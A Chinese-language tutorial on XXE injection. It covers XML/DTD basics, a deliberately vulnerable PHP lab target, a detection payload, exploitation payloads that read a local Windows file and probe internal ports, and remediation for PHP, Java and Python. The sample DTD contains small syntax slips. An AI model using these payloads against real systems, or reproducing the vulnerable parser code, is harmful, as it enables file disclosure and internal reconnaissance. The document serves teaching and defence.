##介绍XXE漏洞
XML外部实体注入(XML External Entity)简称XXE漏洞,XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
常见的XML语法结构如下所示:
<!--XML申明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
其中,文档定义类型(DTD)可以是内部声明也可以引用外部DTD。
- 内部声明DTD格式:<!DOCTYPE 根元素 [元素声明]>。
- 引用外部DTD格式:<!DOCTYPE 根元素 SYSTEM “文件名”>。
在DTD中进行实体说明时,将使用ENTITY关键字来声明。实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体可在内部或外部进行声明。
- 内部声明实体格式:<!ENTITY 实体名称 “实体的值”>。
- 引用外部实体格式:<!ENTITY 实体名称 SYSTEM “URI”>。
SYSTEM、PUBLIC 对外部资源进行申请。
由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。
语法引用外部的实体,而非内部实体,那么URI中能写哪些类型的外部实体呢?
主要的有file、http、https、ftp等等,当然不同的程序支持的不一样:
##XXE漏洞环境搭建
<meta http-equiv="Content-Type" charset=utf-8 /> <center>XXE漏洞靶机</center> <?php $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); @$dom->loadXML($xmlfile); @$xml = simplexml_import_dom($dom); @$xxe = $xml->xxe; $str = "$xxe \n"; echo $str; ?>
接下来,对其访问
##检测XXE漏洞
开启抓包burp抓包,访问靶机,构造检测语句
检测payload:
<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY b "aasdasd"> ]> <xml> <xxe>&b;</xxe> </xml>
若在返回的界面中出现 aasdasd,则说明xml可以解析,则很有可能存在XXE漏洞。
##XXE漏洞利用
开启burp抓包,刷新页面,填写好构造的payload,点击go发送
payload:通过file协议读取本地文件
<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY b SYSTEM "file:///c:Windows/win.ini"> ]> <xml> <xxe>&b;</xxe> </xml>
payload:探测内网端口开放情况
<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY b SYSTEM "http://127.0.0.1:80"> ]> <xml> <xxe>&b;</xxe> </xml>
证明开启:
证明没开启:
这里有一点需要注意:如果php代码中,将警告信息屏蔽掉了,我们将无法获知端口开放的情况。
##XXE漏洞的修复与防御
一、禁止使用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
二、过滤用户提交的XML数据,防止出现非法内容
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。